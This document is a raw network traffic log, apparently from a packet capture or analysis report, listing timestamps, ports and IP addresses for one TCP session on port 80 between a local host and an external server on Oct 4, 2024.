Oct 4, 2024 09:52:35.961950064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961973906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962012053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962027073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962040901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962045908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962064028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962069988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962078094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962093115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962094069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962106943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962114096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962121010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962131977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962136030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962141037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962151051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962157965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962163925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962172985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962178946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962186098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962194920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962198019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962208986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962218046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962224007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.962227106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962244034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.962259054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963109970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963124990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963145971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963155031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963160992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963175058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963176012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963190079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963197947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963203907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963211060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963218927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963227034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963232040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963242054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963247061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963260889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963263988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963274956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963285923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963289976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963304996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963310957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963319063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963330030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963334084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963347912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963351965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963362932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963375092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963378906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963397980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963402987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963417053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963421106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963432074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963433027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963445902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.963453054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963463068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.963474989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964174032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964188099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964200974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964207888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964215994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964225054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964230061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964236021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964245081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964251995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964260101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964267969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964274883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964277983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964288950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964294910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964303017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964306116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964317083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964323997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964332104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964334965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964345932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964350939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964360952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964363098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964375973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.964380026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964397907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.964411020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.036798000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.036864996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.036897898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.036921024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.036921024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.036931992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.036947012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.036966085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.036973000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.036997080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037003040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037029982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037033081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037062883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037066936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037100077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037496090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037544966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037736893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037765980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037782907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037801027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037805080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037834883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037838936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037868023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037869930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037900925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037904978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037933111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.037938118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.037978888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051165104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051215887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051245928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051249027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051280975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051280975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051280975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051314116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051321983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051352024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051362991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051403046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051419020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051450968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051460028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051482916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051490068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051523924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051532984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051564932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051572084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051594973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051600933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051629066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051630974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051664114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051665068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051701069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051707983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051738977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051747084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051772118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051775932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051805019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051809072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051836967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051841021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051871061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051876068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051904917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.051908016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.051940918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052042007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052087069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052093983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052119970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052128077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052151918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052158117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052184105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052187920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052216053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052222967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052248001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052253962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052278042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052284002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052309990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052314043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052341938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052345991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052375078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052380085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052412033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052453041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052484035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052489996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052516937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052520990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052548885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052555084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052582979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052587986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052613020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052618980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052645922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052649021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052676916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.052685022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052715063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.052992105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053025007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053037882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053056955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053061962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053085089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053093910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053117037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053122044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053148985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053154945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053181887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053188086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053212881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053219080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053245068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053251028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053277016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053282976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053308964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053316116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053340912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053347111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053373098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053379059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053411007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053428888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053457022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053467989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053488016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053497076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053518057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053519964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053550005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053555012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053581953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053587914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053613901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053620100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053647041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053653955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053678036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053683996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053709984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053714991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053744078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053754091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053776979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053781033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053807974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053814888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053848028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053859949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053888083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053903103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053919077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053925037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053950071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053956032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.053982019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.053986073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054013968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054023027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054045916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054050922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054078102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054083109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054109097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054115057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054141045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054143906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054172993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054177046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054208040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054497957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054538012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054544926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054578066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054589033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054610014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054614067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054641962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054646969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054673910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054677010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054706097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054711103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054738998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054742098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054769993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054775000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054800987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054805994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054832935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054838896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054866076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054868937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054897070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054902077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054929972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054933071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054960966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054965019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.054991961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.054996014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.055026054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.055026054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.055057049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.055061102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.055088997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.055092096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.055116892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.055123091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.055149078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.055150032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.055179119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.055182934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:36.055211067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:36.055213928 CEST	49745	80	192.168.2.4	141.98.233.156
